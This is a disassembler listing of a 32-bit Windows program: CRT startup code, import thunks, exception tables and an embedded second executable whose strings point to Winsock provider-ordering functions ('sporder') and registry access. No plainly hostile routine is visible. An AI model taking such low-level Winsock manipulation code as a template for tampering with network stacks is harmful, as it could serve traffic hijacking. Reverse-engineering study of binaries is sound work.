; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402746	proc near		; DATA XREF: _0:00401440o
		jmp	dword_401064+3Ch
sub_402746	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40274C	proc near		; DATA XREF: _0:0040143Co
		jmp	dword_401064+40h
sub_40274C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402752	proc near		; DATA XREF: _0:00401434o
		jmp	dword_401064+44h
sub_402752	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402758	proc near		; DATA XREF: _0:00401430o
		jmp	dword_401064+48h
sub_402758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40275E	proc near		; DATA XREF: _0:0040142Co
		jmp	dword_401104+40h
sub_40275E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402764	proc near		; DATA XREF: _0:00401428o
		jmp	dword_401064+50h
sub_402764	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40276A	proc near		; DATA XREF: _0:00401424o
		jmp	dword_401064+54h
sub_40276A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402770	proc near		; DATA XREF: _0:00401420o
		jmp	dword_401064+58h
sub_402770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402776	proc near		; DATA XREF: _0:0040141Co
		jmp	dword_401064+5Ch
sub_402776	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40277C	proc near		; DATA XREF: _0:00401418o
		jmp	dword_401064+60h
sub_40277C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402782	proc near		; DATA XREF: _0:00401414o
		jmp	dword_401064+64h
sub_402782	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402788	proc near		; DATA XREF: _0:0040140Co
		jmp	dword_401064+68h
sub_402788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40278E	proc near		; DATA XREF: _0:00401408o
		jmp	dword_401064+6Ch
sub_40278E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402794	proc near		; DATA XREF: _0:00401404o
		jmp	dword_401064+70h
sub_402794	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40279A	proc near		; DATA XREF: _0:00401400o
		jmp	dword_401064+74h
sub_40279A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027A0	proc near		; DATA XREF: _0:004013FCo
		jmp	dword_401064+78h
sub_4027A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027A6	proc near		; DATA XREF: _0:004013F8o
		jmp	dword_401064+7Ch
sub_4027A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027AC	proc near		; DATA XREF: _0:004013F4o
		jmp	dword_401064+80h
sub_4027AC	endp

; ---------------------------------------------------------------------------


loc_4027B2:				; DATA XREF: _0:off_4013E0o
		jmp	dword_401064+84h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027B8	proc near		; CODE XREF: sub_402140-7Bp
		jmp	dword_401064+88h
sub_4027B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027BE	proc near		; CODE XREF: _0:00402110p
		jmp	dword_401064+8Ch
sub_4027BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027C4	proc near		; CODE XREF: sub_402120j
		jmp	dword_401064+90h
sub_4027C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4027CA	proc near		; CODE XREF: sub_4022F0+45p
					; sub_4022F0+4Ep ...
		jmp	dword_401064+94h
sub_4027CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027D0	proc near		; CODE XREF: sub_4014F0+EAp
					; sub_401630+144p

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4027F0


loc_4027DC:				; CODE XREF: sub_4027D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4027DC


loc_4027F0:				; CODE XREF: sub_4027D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4027D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402800	proc near		; CODE XREF: _0:00402ABCj
					; SEH_401C70+5j ...
		jmp	dword ptr loc_4011A8
sub_402800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402810	proc near		; CODE XREF: sub_40283C+4p

arg_0		= dword	ptr  4

		cmp	dword_403030, 0FFFFFFFFh
		jnz	short loc_402825
		push	[esp+arg_0]
		call	dword ptr loc_401190
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_402825:				; CODE XREF: sub_402810+7j
		push	offset dword_40302C
		push	offset dword_403030
		push	[esp+8+arg_0]
		call	sub_4029AC
		add	esp, 0Ch
		retn
sub_402810	endp


; =============== S U B	R O U T	I N E =======================================



sub_40283C	proc near		; CODE XREF: _0:00402155p _0:00402195p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_402810
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_40283C	endp

; ---------------------------------------------------------------------------


loc_40284E:				; CODE XREF: _1:0040E2C4j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_401488
		push	offset sub_4029D4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	2
		call	dword_401158	; __set_app_type
		pop	ecx
		or	dword_40302C, 0FFFFFFFFh
		or	dword_403030, 0FFFFFFFFh
		call	dword_40115C	; __p__fmode
		mov	ecx, dword_403020
		mov	[eax], ecx
		call	dword_401160	; __p__commode
		mov	ecx, dword_40301C
		mov	[eax], ecx
		mov	eax, dword_401164
		mov	eax, [eax]
		mov	dword_403028, eax
		call	nullsub_1
		cmp	dword_4013A0, ebx
		jnz	short loc_4028D1
		push	offset sub_4029D0
		call	dword_401168	; __setusermatherr
		pop	ecx


loc_4028D1:				; CODE XREF: _0:004028C3j
		call	sub_4029BE
		push	offset dword_4011F0
		push	offset byte_4011EC
		call	sub_4029B8	; _initterm
		mov	eax, dword_403018
		mov	[ebp-6Ch], eax
		lea	eax, [ebp-6Ch]
		push	eax
		push	dword_403014
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		call	dword_401170	; __getmainargs
		push	offset dword_4011E8
		push	offset byte_4011D4
		call	sub_4029B8	; _initterm
		add	esp, 24h
		mov	eax, dword_401174
		mov	esi, [eax]
		mov	[ebp-74h], esi
		cmp	byte ptr [esi],	22h
		jnz	short loc_402964


loc_40292A:				; CODE XREF: _0:00402936j
		inc	esi
		mov	[ebp-74h], esi
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_402938
		cmp	al, 22h
		jnz	short loc_40292A


loc_402938:				; CODE XREF: _0:00402932j
		cmp	byte ptr [esi],	22h
		jnz	short loc_402941


loc_40293D:				; CODE XREF: _0:00402949j
		inc	esi
		mov	[ebp-74h], esi


loc_402941:				; CODE XREF: _0:0040293Bj _0:00402967j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_40294B
		cmp	al, 20h
		jbe	short loc_40293D


loc_40294B:				; CODE XREF: _0:00402945j
		mov	[ebp-30h], ebx
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_401034	; GetStartupInfoA
		test	byte ptr [ebp-30h], 1
		jz	short loc_40296F
		movzx	eax, word ptr [ebp-2Ch]
		jmp	short loc_402972
; ---------------------------------------------------------------------------


loc_402964:				; CODE XREF: _0:00402928j _0:0040296Dj
		cmp	byte ptr [esi],	20h
		jbe	short loc_402941
		inc	esi
		mov	[ebp-74h], esi
		jmp	short loc_402964
; ---------------------------------------------------------------------------


loc_40296F:				; CODE XREF: _0:0040295Cj
		push	0Ah
		pop	eax


loc_402972:				; CODE XREF: _0:00402962j
		push	eax
		push	esi
		push	ebx
		push	ebx
		call	off_401044
		push	eax
		call	sub_4029EC
		mov	[ebp-68h], eax
		push	eax
		call	dword_401178	; exit
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-78h], ecx
		push	eax
		push	ecx
		call	sub_4029B2	; _XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-78h]
		call	dword_401180	; _exit

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029AC	proc near		; CODE XREF: sub_402810+23p
		jmp	dword ptr loc_401193+1
sub_4029AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029B2	proc near		; CODE XREF: _0:00402998p
		jmp	dword_40117C
sub_4029B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029B8	proc near		; CODE XREF: _0:004028E0p _0:00402913p
		jmp	dword_40116C
sub_4029B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029BE	proc near		; CODE XREF: _0:loc_4028D1p
		push	30000h
		push	10000h
		call	sub_4029DA	; _controlfp
		pop	ecx
		pop	ecx
		retn
sub_4029BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029D0	proc near		; DATA XREF: _0:004028C5o
		xor	eax, eax
		retn
sub_4029D0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029D4	proc near		; DATA XREF: _0:00402858o
		jmp	dword_401154
sub_4029D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029DA	proc near		; CODE XREF: sub_4029BE+Ap
		jmp	dword_401150
sub_4029DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029E0	proc near		; CODE XREF: sub_4014F0+118p
					; sub_401630+171p
		jmp	dword_4011CC
sub_4029E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029E6	proc near		; CODE XREF: sub_4017D0+9Cp
					; sub_4017D0+C9p ...
		jmp	dword_4011C8
sub_4029E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029EC	proc near		; CODE XREF: _0:0040297Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_402A44
		retn	10h
sub_4029EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A04	proc near		; CODE XREF: _0:00402A39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_4026E0
		mov	ecx, [esp+arg_0]
		mov	edx, [esp+arg_4]
		test	ecx, ecx
		mov	[eax+14h], cl
		mov	[eax+1040h], edx
		jnz	short loc_402A27
		push	0FFFFFFFDh
		call	dword_401180+4
		pop	ecx


loc_402A27:				; CODE XREF: sub_402A04+18j
		push	1
		pop	eax
		retn	8
sub_402A04	endp

; ---------------------------------------------------------------------------


loc_402A2D:				; DATA XREF: _0:004011D8o
		jmp	$+5
		push	600h
		push	0
		call	sub_402A04
		mov	byte_403024, al
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A44	proc near		; CODE XREF: sub_4029EC+10p
		jmp	dword_401100
sub_402A44	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-114h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402A5B:				; DATA XREF: _0:00402CB4o
		mov	ecx, [ebp-114h]
		add	ecx, 4
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-114h]
		add	ecx, 8
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-114h]
		add	ecx, 0Ch
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-114h]
		add	ecx, 10h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-114h]
		add	ecx, 14h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-11Ch]
		jmp	loc_401C50
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-120h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402AB7:				; DATA XREF: sub_402240-81Eo
		mov	eax, offset dword_402C88
		jmp	sub_402800
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4026B0
; ---------------------------------------------------------------------------


loc_402AD8:				; DATA XREF: _0:00402D14o
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 18h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1Ch
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 20h
		jmp	sub_40268C

; =============== S U B	R O U T	I N E =======================================



SEH_401C70	proc near		; DATA XREF: sub_401C70+2o
		mov	eax, offset dword_402CE8
		jmp	sub_402800
SEH_401C70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+10h]
		jmp	sub_40268C

; =============== S U B	R O U T	I N E =======================================



SEH_401D20	proc near		; DATA XREF: sub_401D20+2o
		mov	eax, offset dword_402D30
		jmp	sub_402800
SEH_401D20	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+0Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402B38:				; DATA XREF: _0:00402D84o
		lea	ecx, [ebp+4]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1Ch]
		jmp	sub_4026C8

; =============== S U B	R O U T	I N E =======================================



SEH_401E60	proc near		; DATA XREF: sub_401E60+2o
		mov	eax, offset dword_402D58
		jmp	sub_402800
SEH_401E60	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_40268C

; =============== S U B	R O U T	I N E =======================================



SEH_402050	proc near		; DATA XREF: sub_402050+8o
		mov	eax, offset dword_402D90
		jmp	sub_402800
SEH_402050	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4026B0
; ---------------------------------------------------------------------------


loc_402B88:				; DATA XREF: _0:00402DE4o
		mov	ecx, [ebp-10h]
		add	ecx, 14h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 18h
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1Ch
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402BA9:				; DATA XREF: _0:004021B2o
		mov	eax, offset dword_402DB8
		jmp	sub_402800
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402BC8:				; DATA XREF: _0:00402E24o
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0Ch
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10h
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402BF4:				; DATA XREF: _0:00402272o
		mov	eax, offset dword_402DF8
		jmp	sub_402800
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------


loc_402C08:				; DATA XREF: _0:00402E6Co
		lea	ecx, [ebp-40h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-40h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-20h]
		jmp	loc_402670
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-40h]
		jmp	sub_40268C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-34h]
		jmp	sub_40268C

; =============== S U B	R O U T	I N E =======================================



SEH_4022F0	proc near		; DATA XREF: sub_4022F0+2o
		mov	eax, offset dword_402E40
		jmp	sub_402800
SEH_4022F0	endp

; ---------------------------------------------------------------------------
		align 8
dword_402C88	dd 19930520h, 8, 402CA8h, 5 dup(0) ; DATA XREF:	_0:loc_402AB7o
		dd 0FFFFFFFFh, 402A50h,	0
		dd offset loc_402A5B
		dd 1, 402A69h, 2, 402A77h, 3, 402A85h, 4, 402A93h, 5, 402AA1h
		dd 6, 402AACh
dword_402CE8	dd 19930520h, 5, 402D08h, 5 dup(0) ; DATA XREF:	SEH_401C70o
		dd 0FFFFFFFFh, 402AD0h,	0
		dd offset loc_402AD8
		dd 1, 402AE3h, 2, 402AEEh, 3, 402AF9h
dword_402D30	dd 19930520h, 1, 402D50h, 5 dup(0) ; DATA XREF:	SEH_401D20o
		dd 0FFFFFFFFh, 402B10h
dword_402D58	dd 19930520h, 3, 402D78h, 5 dup(0) ; DATA XREF:	SEH_401E60o
		dd 0FFFFFFFFh, 402B30h,	0
		dd offset loc_402B38
		dd 1, 402B40h
dword_402D90	dd 19930520h, 1, 402DB0h, 5 dup(0) ; DATA XREF:	SEH_402050o
		dd 0FFFFFFFFh, 402B60h
dword_402DB8	dd 19930520h, 4, 402DD8h, 5 dup(0) ; DATA XREF:	_0:loc_402BA9o
		dd 0FFFFFFFFh, 402B80h,	0
		dd offset loc_402B88
		dd 1, 402B93h, 2, 402B9Eh
dword_402DF8	dd 19930520h, 5, 402E18h, 5 dup(0) ; DATA XREF:	_0:loc_402BF4o
		dd 0FFFFFFFFh, 402BC0h,	0
		dd offset loc_402BC8
		dd 1, 402BD3h, 2, 402BDEh, 3, 402BE9h
dword_402E40	dd 19930520h, 11h, 402E60h, 5 dup(0) ; DATA XREF: SEH_4022F0o
		dd 0FFFFFFFFh, 402C00h,	0
		dd offset loc_402C08
		dd 0FFFFFFFFh, 402C10h,	2, 402C18h, 0FFFFFFFFh,	402C20h
		dd 4, 402C28h, 0FFFFFFFFh, 402C30h, 6, 402C38h,	0FFFFFFFFh
		dd 402C40h, 8, 402C48h,	9, 402C50h, 8, 402C50h,	0Bh, 402C58h
		dd 0Ch,	402C60h, 0Bh, 402C60h, 0Eh, 402C68h, 0Eh, 402C70h
dword_402EE8	dd 73E6BA70h, 1, 3 dup(0) ; DATA XREF: sub_402140o
					; _0:loc_402160o
		dd 1, 4	dup(0)
		dd 1, 0
		dd 0E0h, 0Bh dup(0)
		dd 200h, 180h, 0
		dd 400000h, 0
		dd 14234Ah, 0Ah, 994DD8h, 3 dup(0)
		dd 994DC8h, 994DE8h, 994E10h, 9	dup(0)
		dd 200h, 2 dup(0)
dword_402FB0	dd 73E6BA70h, 4	dup(0)	; DATA XREF: sub_402180+2o
					; _0:loc_4021A0o ...
		dd 993BA8h, 993BF8h, 993C48h, 73EA1C58h, 3 dup(0)
dword_402FE0	dd 47A71136h		; DATA XREF: sub_4014A0+31w
					; sub_4017D0+216r
		align 8
dword_402FE8	dd 9939C8h, 993B58h, 993A18h, 993AB8h, 993A68h,	993B08h
					; DATA XREF: sub_402240o
					; _0:loc_402260o ...
dword_403000	dd 47A70000h		; DATA XREF: sub_4014A0r
					; sub_4014A0+1Cw
		align 8
dword_403008	dd 3 dup(0)		; DATA XREF: sub_401C70+7Bo
					; sub_4022F0+18Ao
dword_403014	dd 0			; DATA XREF: _0:004028F1r
dword_403018	dd 0			; DATA XREF: _0:004028E5r
dword_40301C	dd 0			; DATA XREF: _0:004028A4r
dword_403020	dd 0			; DATA XREF: _0:00402896r
byte_403024	db 1			; DATA XREF: _0:00402A3Ew
		align 4
dword_403028	dd 0			; DATA XREF: _0:004028B3w
dword_40302C	dd 0FFFFFFFFh		; DATA XREF: sub_402810:loc_402825o
					; _0:00402882w
dword_403030	dd 0FFFFFFFFh		; DATA XREF: sub_402810r
					; sub_402810+1Ao ...
		align 10h
		dd 34F4h, 4 dup(0)
		dd 3596h, 4 dup(0)
		dd 3294h, 4 dup(0)
		dd 32FAh, 4 dup(0)
		dd 3620h, 4 dup(0)
		dd 35E4h, 6 dup(0)
		dd 3582h, 356Ah, 3552h,	353Eh, 352Ch, 351Ch, 350Eh, 0
		dd 33EAh, 33D8h, 33FAh,	34C6h, 34DAh, 34E2h, 3410h, 341Ch
		dd 342Ch, 3442h, 3456h,	346Ch, 3484h, 3494h, 34A6h, 34B6h
		dd 0
		dd 80001186h, 800009FAh, 800009D0h, 80001663h, 80000F52h
		dd 80000441h, 8000144Fh, 8000095Ch, 80000D12h, 800014B4h
		dd 800014B6h, 80000AA5h, 80000FEFh, 8000125Ah, 800014BBh
		dd 800014A9h, 80001652h, 80000BA6h, 80000C4Bh, 800018E7h
		dd 80001171h, 80000C40h, 80000CBEh, 80000BA9h, 80000C09h
		dd 80000BA0h, 80000EF6h, 80000EF7h, 80000EF1h, 80000C07h
		dd 80000FF0h, 8000120Eh, 80001148h, 80000E9Ah, 80000231h
		dd 80000339h, 8000032Fh, 8000106Bh, 800010B2h, 80000628h
		dd 80000490h, 80000162h, 80001442h, 800007BBh, 80000299h
		dd 800004DFh, 8000021Dh, 80000219h, 80000321h, 80000217h
		dd 8000021Ch, 8000106Ah, 8000039Ch, 8000035Ah, 80000320h
		dd 8000035Ch, 80000CBBh, 80001241h, 0
; ---------------------------------------------------------------------------
		retf	33h
; ---------------------------------------------------------------------------
		align 4
		dd 33B6h, 33A4h, 3396h,	3386h, 3376h, 3362h, 3356h, 3346h
		dd 333Ch, 3334h, 3326h,	331Eh, 3638h, 329Eh, 32A8h, 3314h
		dd 3306h, 32F2h, 32E8h,	32E0h, 32D8h, 32C4h, 32BAh, 32B2h
		dd 0
		dd 35F0h, 3602h, 3612h,	0
		dd 35D0h, 35BAh, 9Ch dup(0)
		dd 53550000h, 32335245h, 6C6C642Eh, 26h	dup(0)
		dd 4C454853h, 2E32334Ch, 6C6C64h, 33656C6Fh, 6C642E32h
		dd 6Ch,	1Ch dup(0)
		dd 494E4957h, 2E54454Eh, 6C6C64h, 2D6h dup(0)
		dd 440003h, 4C004Ch, 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0E8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0EC6425DDh, 3 dup(0BF0A4499h), 0BF054C1Ah, 0BF0A4498h
		dd 0BF574C1Ah, 0BF0A449Eh, 0BF0B4499h, 0BF0A4480h, 0BF564C1Ah
		dd 0BF0A4498h, 0BF554C17h, 0BF0A449Dh, 0BF544C1Ah, 0BF0A4498h
		dd 0BF504C1Ah, 0BF0A4498h, 68636952h, 0BF0A4499h, 6 dup(0)
		dd 4550h, 4014Ch, 3E80257Ch, 2 dup(0)
		dd 210E00E0h, 0A07010Bh, 1000h,	1A0E00h, 0
		dd 1130h, 1000h, 2000h,	47A70000h, 1000h, 200h,	2 dup(20005h)
		dd 4, 0
		dd 1A5000h, 400h, 5086h, 4000002h, 40000h, 1000h, 100000h
		dd 1000h, 0
		dd 10h,	1F70h, 75h, 1D00h, 3Ch,	1A3000h, 400h, 4 dup(0)
		dd 1A4000h, 110h, 1070h, 1Ch, 0Ah dup(0)
		dd 1000h, 64h, 6 dup(0)
		dd 7865742Eh, 74h, 0FE5h, 2 dup(1000h),	400h, 3	dup(0)
		dd 60000020h, 7461642Eh, 61h, 1A0188h, 2000h, 200h, 1400h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 400h, 1A3000h, 400h, 1600h
		dd 3 dup(0)
		dd 40000040h, 6C65722Eh, 636Fh,	75Ch, 1A4000h, 800h, 1A00h
		dd 3 dup(0)
		dd 42000040h, 60h dup(0)
		dd 1F2Eh, 1F20h, 1F10h,	1EFEh, 1F42h, 0
		dd 1DE2h, 1DF8h, 1E08h,	1E1Ah, 1E2Eh, 1E3Ah, 1DD6h, 1E64h
		dd 1E7Ah, 1E90h, 1EAAh,	1EBEh, 1ED2h, 1DCAh, 1DBEh, 1DAEh
		dd 1DA0h, 1E54h, 5 dup(0)
		dd 3E800169h, 0
		dd 2, 1Ch, 110Ch, 50Ch,	6B636150h, 61436465h, 6F6C6174h
		dd 65744967h, 6Dh, 5Ch,	57435357h, 65746972h, 766F7250h
		dd 72656469h, 6564724Fh, 72h, 5F325357h, 442E3233h, 4C4Ch
		dd 57435357h, 65746972h, 656D614Eh, 63617053h, 64724F65h
		dd 7265h, 61686E55h, 656C646Eh,	63784564h, 69747065h, 69466E6Fh
		dd 7265746Ch, 0
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0
aNb10		db 'NB10',0
		align 4
		dd 3E800169h, 1, 726F7073h, 2E726564h, 626470h,	2 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn	0Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	eax, 2384h
		lea	ebp, [esp-498h]
		call	sub_405258
		mov	eax, ds:47A72134h
		push	ebx
		push	47A710BCh
		mov	[ebp+494h], eax
		call	dword ptr ds:47A71024h
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_404720
		push	47A710A4h
		push	eax
		call	dword ptr ds:47A71020h
		cmp	eax, ebx
		jz	short loc_404720
		push	dword ptr [ebp+4A4h]
		push	dword ptr [ebp+4A0h]
		call	eax	; _acmdln
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_404720:				; CODE XREF: _0:004046FBj _0:0040470Bj
		cmp	dword ptr [ebp+4A4h], 3E8h
		mov	[ebp+80h], ebx
		jbe	short loc_40473A
		push	8
		pop	eax
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_40473A:				; CODE XREF: _0:00404730j
		push	47A7211Ch
		push	ebx
		push	ebx
		call	dword ptr ds:47A7101Ch
		cmp	eax, ebx
		mov	[ebp+68h], eax
		jnz	short loc_404758
		mov	eax, 277Bh
		jmp	loc_404AD7
; ---------------------------------------------------------------------------


loc_404758:				; CODE XREF: _0:0040474Cj
		push	ebx
		push	dword ptr [ebp+68h]
		call	dword ptr ds:47A71018h
		cmp	eax, 102h
		jnz	short loc_404778
		mov	dword ptr [ebp+80h], 2AFAh
		jmp	loc_404AC8
; ---------------------------------------------------------------------------


loc_404778:				; CODE XREF: _0:00404767j
		push	esi
		lea	eax, [ebp+7Ch]
		push	eax
		push	1
		push	ebx
		mov	esi, 47A72010h
		push	esi
		push	80000002h
		call	dword ptr ds:47A71010h
		cmp	eax, ebx
		jz	short loc_4047A0
		mov	[ebp+80h], eax
		jmp	loc_404ABE
; ---------------------------------------------------------------------------


loc_4047A0:				; CODE XREF: _0:00404793j
		push	edi
		lea	eax, [ebp+70h]
		push	eax
		lea	eax, [ebp+84h]
		push	eax
		lea	eax, [ebp+60h]
		push	eax
		push	ebx
		push	47A72070h
		push	dword ptr [ebp+7Ch]
		mov	dword ptr [ebp+70h], 104h
		call	dword ptr ds:47A71000h
		push	dword ptr [ebp+7Ch]
		mov	edi, eax
		call	dword ptr ds:47A71004h
		cmp	edi, ebx
		jz	short loc_4047E0
		mov	[ebp+80h], edi
		jmp	loc_404ABD
; ---------------------------------------------------------------------------


loc_4047E0:				; CODE XREF: _0:004047D3j
		lea	eax, [ebp+84h]
		push	eax
		push	47A72048h
		call	dword ptr ds:47A71030h
		test	eax, eax
		jz	short loc_404805


loc_4047F6:				; CODE XREF: _0:00404981j _0:00404998j ...
		mov	dword ptr [ebp+80h], 2726h
		jmp	loc_404ABD
; ---------------------------------------------------------------------------


loc_404805:				; CODE XREF: _0:004047F4j
		mov	ebx, ds:47A7104Ch
		push	esi
		lea	eax, [ebp+390h]
		push	eax
		call	ebx
		mov	esi, ds:47A71050h
		mov	edi, 47A710A0h
		push	edi
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	47A72048h
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	edi
		lea	eax, [ebp+390h]
		push	eax
		call	esi
		push	47A720A8h
